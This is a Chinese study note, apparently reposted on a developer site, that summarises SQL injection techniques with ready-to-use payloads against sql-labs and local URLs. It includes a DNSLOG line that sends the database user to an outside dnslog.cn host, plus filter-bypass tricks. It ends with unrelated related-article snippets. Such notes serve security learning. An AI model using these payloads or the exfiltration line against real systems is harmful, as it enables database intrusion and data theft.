sql注入笔记整理

  • 概念
    • 发生在与数据库交互时;将未经过滤的用户输入信息合并到执行代码中造成恶意代码的执行
  • 错误注入
    • extractvalue(xml_flag,xpath)
      • 如果出错打印xpath内容;数据库不识别#~符号
      • extractvalue(1,concat('~',database(),'~')) 会打印出~数据库名~
    • updatexml(xml_document,xpath,new_xml)
      • 用法和extractvalue()函数类似;报错返回xpath内容
      • updatexml(1,concat('~',database(),'~'),1)
    • gtid_subset(设置1,设置2)
      • 报错打印设置1的内容;设置1报错则不会执行设置2
      • gtid_subset(user(),1)
    • exp()
      • e的幂次方;八个字节
      • exp(709) 是边界
      • exp(710) 就会报错;一般搭配截取函数注入、
    • polygon()
      • 报错直接把上级表名和数据库名报出来
      • 输入一般为字段名,字段名不对则不会执行
    • join()
      • ' union select * from (select * from users a join users b)x--+
      • ' union select * from (select * from users a join users b using(id))x--+
      • ' union select * from (select * from users a join users b using(id,username))x--+
      • ' union select * from (select * from users a join users b using(id,username,password))x limit 1,1--+
    • mssql报错注入小技巧
      • 1'and convert(int,db_name())='1
      • id=1/user,'+1-system_user='1
  • 联合注入
    • 字段数相同+数据类型相同
    • 利用order by 判断字段数
      • order by 8
        • 按照第8个字段排序;没有则报错
    • union select 1,2,3
  • 盲注
    • 布尔盲注
      • 回显内容只有两种情况;可以用于辨别输入语句正确与否
      • 根据回显内容进行判断是否注入成功
    • 时间盲注
      • 回显内容一点变化都没有
      • 根据响应时间判断是否注入成功
  • UA注入
    • 在User-Agent字段内容注入
    • 该位置不会url解析;直接用空格;不能用+代替
    • 一般采用语句位insert或update
  • Referer注入
    • 和UA要求相同
    • 一般采用语句位insert或update
  • Cookie注入
    • 和普通注入相同
  • DNSLOG注入
    • 注入实现条件
      • root权限
      • secure_file_priv(无设置或者设置为指定文件夹)
        • null :表示不允许导入导出
        • 没设置:无限制
        • 指定文件夹:只能在指定文件夹中使用
        • 通过 show global variables like 'secure%'; 进行查看该设置
      • load_file(文件完整路径):
        • 读取文件内容为一个字符串
        • unc路径:
          • //服务器名/共享资源名 格式:\\ren\share.txt 或者 //ren/share.txt ren 是服务器名 share.txt 共享资源文件名
        • http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
  • 堆叠注入
    • 利用分号进行分割导致多条语句执行
    • 如select 1,2,3 from table; select 4,5,6 from table1; #where id =1;
    • 利用输入过滤不严格导致分号可以终结语句,此时可以实现多条语句进行执行,注释符注释掉后面的所有内容
  • 宽字节注入
    • 针对于GBK编码的
    • GBK编码是将两个字符合并为一个中文字符;即输入的特殊符号都会和转义字符进行组合形成一个中文字符
    • 此时可以利用添加字符的方式将转义字符吃掉,使自己的特殊字符起作用
    • 如输入1’ 会被转义为 1\' 表现为 31 5c27 5c27会表示一个中文字符,此时输入1%df' 就会转为 31 df5c 27 df5c会形成一个汉字,但是单引号独立出来了,可以执行了
    • 常用的宽字节吞噬符号有:
  • 二次注入
    • 通过注册带有恶意字符的用户名,然后在使用用户名和密码进行操作的时候(修改密码,查询,更新)实现出入效果
    • 如注册用户名为admin'# 的用户名,在修改密码的情况下会自动识别为admin用户,这样就可以对admin用户进行操作
  • 截取函数
    • left()
    • right()
    • substring()
    • substr()
    • mid() 用法同substr()
  • 条件判断
    • if(a,b,c)
      • a为真执行b;a为假时执行c
      • 常与时间盲注搭配
        • and if('a'='a',sleep(1),sleep(5)) --+
    • case when a>b then a else b end
      • 结尾必须为end
  • 常用数据库
    • information_schema (mysql 5.0 以上才有)
      • schemata 存放数据库名的表
        • schema_name 数据库名
      • tables 存放所有表名的表
        • table_schema 表所在的数据库名
        • table_name 表名
      • columns 存放所有字段的表
        • table_schema 数据库名
        • table_name 表名
        • column_name 字段名
  • 常用函数
    • ascii() 将字符转为ascii码
    • char() 将ascii码转为字符
    • length() 获取字符的长度
    • database() = schema()
    • version()
    • user()
    • current_user()
    • session_user()
    • system_user()
    • load_file() 转换成16进制或10进制mysql读取本地文件的函数
    • @@datadir 数据库路径
    • @@basedir mysql安装路径
    • @@version_compile_os 操作系统
  • 小技巧
    • 语言
      • 政府/国企/央企 大多是oracle
      • asp:SQL Server,Access
      • .net:SQL Server
      • php:MySQL,PostgreSQL
      • java:Oracle,MySQL
    • 注释符
      • /*是MySQL数据库的注释符
      • --是Oracle和SQL Server支持的注释符
      • ;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
      • #是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/
      • /*!*/内联注释
        • 如果数据库版本高于输入版本号;那么该语句会当成sql进行执行;
          • 如 select * from users /*!union select 1,2,3*/;
        • 反之则会当成注释内容
          • select * from users /*!70000 union select 1,2,3*/;
          • 我的数据库版本是5.7.0;就是50700<70000;所以这里内联注释中的内容会当成注释处理
    • 截取函数(substr substring)
      • MySQL两个函数都可以使用
      • Oracle只可调用substr
      • SQL Server只可调用substring
    • 拼接
      • mysql :'a'+'b'='ab' concat('a','b')='ab'
      • oracle :'a'||'b'='ab' concat('a','b')='ab'
      • mssql :'a'+'b'='ab'
    • 特有表
      • mysql
        • http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
      • oracle
        • http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
      • mssql
        • http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
  • 常见过滤绕过手法
    • and or 关键字绕过
      • && || 替换;有时候&&需要使用url编码%26%26
      • 双写绕过
    • = 过滤
      • <> > < like as in rlike regexp
    • 空格过滤
      • %09 %0a %0b %0c %0d + /**/
    • 注释符过滤
      • %00
    • union select 过滤
      • 双写绕过
      • union all select (只针对整体过滤的情况)
    • 逗号过滤
      • from for
        • substr(database() from 1 for 1)
        • 可以代替逗号,表示起始位和输出数量
      • offset
        • limit 0 offset 1
    • 截取函数被过滤了
      • locate()
      • position()
      • instr()

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/803309.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【架构师】-- 成长路线图

成长为软件架构师不是一件容易的事&#xff0c;这篇文章列举了架构师需要学习的技术储备&#xff0c;给出了成为软件架构师的路线图&#xff0c;帮助有志于在架构领域成长的同学可以明确学习的方向。原文&#xff1a;Master Plan for becoming a Software Architect[1] 软件架…

【优选算法专栏】专题十八:BFS解决拓扑排序(一)

本专栏内容为&#xff1a;算法学习专栏&#xff0c;分为优选算法专栏&#xff0c;贪心算法专栏&#xff0c;动态规划专栏以及递归&#xff0c;搜索与回溯算法专栏四部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握算法。 &#x1f493;博主csdn个人主页&#xff1a;小…

shamrockcms代码审计-啥也没有

shamrockcms 环境搭建 使用阿里源&#xff0c;创建数据库&#xff0c;运行shamrockcms.sql文件&#xff0c;将configure.properties中的jdbc修改为自己本地或者其他ip数据库连接&#xff0c;并且将ueditor.config.json中的master修改为localhost或者其他自己设置的ip 危险组件…

2024mathorcup数学建模D题思路模型代码

目录 2024mathorcup数学建模D题思路模型代码&#xff1a;开赛后第一时间更新&#xff0c;更更新见文末名片 如下为2023MathorCup 高校数学建模挑战赛D题思路解析&#xff1a; 2024mathorcupD题思路模型获取见此 2024mathorcup数学建模D题思路模型代码&#xff1a;开赛后第一时…

基于知识图谱的推理:智能决策与自动发现

基于知识图谱的推理&#xff1a;智能决策与自动发现 一、引言 在今天这个数据驱动的时代&#xff0c;我们经常会听到人们提及“知识图谱”这个词。知识图谱&#xff0c;作为一种结构化知识的表达方式&#xff0c;已经成为智能系统不可或缺的一部分&#xff0c;它通过连接大量的…

Ubuntu Desktop Server - Resource temporarily unavailable

Ubuntu Desktop Server - Resource temporarily unavailable 1. 问题2. 解决方案References 1. 问题 foreverstrongubuntu:~$ sudo apt-get install libatlas-base-dev [sudo] password for foreverstrong: E: Could not get lock /var/lib/dpkg/lock - open (11: Resource t…

numpy,matplotilib学习(菜鸟教程)

所有内容均来自于&#xff1a; NumPy 教程 | 菜鸟教程 Matplotlib 教程 | 菜鸟教程 numpy模块 numpy.nditer NumPy 迭代器对象 numpy.nditer 提供了一种灵活访问一个或者多个数组元素的方式。 for x in np.nditer(a, orderF):Fortran order&#xff0c;即是列序优先&#x…

动态规划专训2——路径问题

1.不同路径 62. 不同路径 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish” 问总共有多少条不同的路径 因为题…

三小时使用鸿蒙OS模仿羊了个羊,附源码

学习鸿蒙arkTS语言&#xff0c;决定直接通过实践的方式上手&#xff0c;而不是一点点进行观看视频再来实现。 结合羊了个羊的开发思路&#xff0c;准备好相应的卡片素材后进行开发。遇到了需要arkTS进行解决的问题&#xff0c;再去查看相应的文档。 首先需要准备卡片对应的图片…

【STL】顺序容器与容器适配器

文章目录 1顺序容器概述1.1array1.2forward_list1.3deque 2.如何确定使用哪种顺序容器呢&#xff1f;3.容器适配器的概念4.如何定义适配器呢&#xff1f; 1顺序容器概述 给出以下顺序容器表&#xff1a; 顺序容器类型作用vector可变大小的数组&#xff0c;支持快速访问&#…

lua学习笔记15(元表的学习)

print("*****************************元表的学习*******************************") print("*****************************元表的概念*******************************") --任何变量都可以作为另一个表变量的元表 --任何表变量都可以有自己的元表 --当我…

谷歌浏览器变黑色背景 扩展程序 Hacker Vision

这个扩展程序能够把浏览器的背景变成黑色&#xff0c;长时间阅读文章的时候护眼效果很不错 效果如下

《前端面试题》- JS基础 - call()、apply()、bind() 的区别

call 、bind 、 apply 这三个函数的功能都是改变this的指向问题&#xff0c;但是也存在一定的区别。 call 的参数是直接放进去的&#xff0c;第二第三第 n 个参数全都用逗号分隔,apply 的所有参数都必须放在一个数组里面传进去bind 除了返回是函数以外&#xff0c;它 的参数和…

美团一面:说说synchronized的实现原理?问麻了。。。。

引言 在现代软件开发领域&#xff0c;多线程并发编程已经成为提高系统性能、提升用户体验的重要手段。然而&#xff0c;多线程环境下的数据同步与资源共享问题也随之而来&#xff0c;处理不当可能导致数据不一致、死锁等各种并发问题。为此&#xff0c;Java语言提供了一种内置…

HwBinder流程分析

HwBinder与普通Binder是一样的,区别是前者是专门给硬件使用&#xff0c;后者是给一般的应用程序使用&#xff0c;为了不影响现有的binder&#xff0c;单独增加硬件的HwBinder来实现硬件相关进程的通信。 HwBinder也是有四部分组成&#xff1a;hwservermanager、server、client…

PUBG绝地求生29.1版本延迟高/卡顿/掉帧/丢包的快速解决方法

要想在绝地求生中获得好成绩&#xff0c;咱们需求把握一些根本的游戏技巧。比方&#xff0c;在挑选降落点时&#xff0c;咱们可以运用u标签来着重“安全”二字。挑选一个相对较为安全的降落点可以防止与其他玩家过早触摸&#xff0c;给自己争夺更多时间来搜集资源和配备。接下来…

ORAN C平面 Section Extension 22

ORAN C平面Section扩展22用于ACK/NACK请求。除section type 7外&#xff0c;section扩展22可以用于从O-DU发送到O-RU的所有section type和section扩展。 对于一个section描述&#xff0c;O-DU可以使用section扩展22要求O-RU使用section type 8 C平面消息进行ACK/NACK反馈。关于…

MyBatis源码介绍

文章目录 MyBatis的核心流程介绍SqlSessionFactory的理解MyBatis中的Executor的源码理解Spring中是如何解决MySQL的SqlSession的线程安全问题MyBatis面向Mapper编程工作原理Mybatis动态sql执行原理Mybatis的一级、二级缓存实现原理Mybatis的插件运行原理以及如何编写一个插件my…

制作一个RISC-V的操作系统十-Trap和Exception(流 mtvec mepc mcause mtval mstatus trap完整流程)

文章目录 流mtvecmepcmcausemtvalmstatustrap 初始化trap的top half&#xff08;硬件完成&#xff09;trap的bottom half&#xff08;软件完成&#xff09;从trap返回代码实现 流 控制流&#xff1a;程序控制的执行流 trap分为中断和异常 mtvec base&#xff1a;存储trap入…

2_8.Linux系统引导过程及引导修复

# 1.磁盘引导 # mbr主引导记录0磁道1扇区446 作用&#xff1a; 记录grub2引导文件的位置 当mbr数据丢失系统会因为找不到启动分区而停止启动 问题模拟方式: 系统磁盘/dev/sda dd if/dev/zero of/dev/vda bs446 count1 ##清空系统/dev/sda上的mbr数据 恢复方式&#xff1a; &…